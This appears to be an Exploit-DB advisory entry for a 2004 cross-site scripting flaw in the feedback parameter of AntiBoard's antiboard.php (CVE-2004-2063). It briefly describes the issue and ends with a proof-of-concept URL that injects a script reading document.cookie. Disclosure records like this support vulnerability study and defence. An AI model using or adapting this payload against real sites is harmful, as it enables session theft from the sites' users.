AntiBoard 0.6/0.7 antiboard.php feedback Parameter XSS

2004-07-28T00:00:00
ID EDB-ID:24330
Type exploitdb
Reporter Josh Gilmour
Modified 2004-07-28T00:00:00

Description

AntiBoard 0.6/0.7 antiboard.php feedback Parameter XSS. CVE-2004-2063. Webapps exploit for php platform

                                        
                                            source: http://www.securityfocus.com/bid/10821/info
 
Multiple vulnerabilities are reported to exist in the application due to insufficient sanitization of user-supplied data. The issues include various instances of SQL injection and a cross-site scripting vulnerability.
 
AntiBoard versions 0.7.2 and prior are affected by these issues.

/antiboard.php?thread_id=1&mode=threaded&range=&feedback=<script>alert(document.cookie);</script>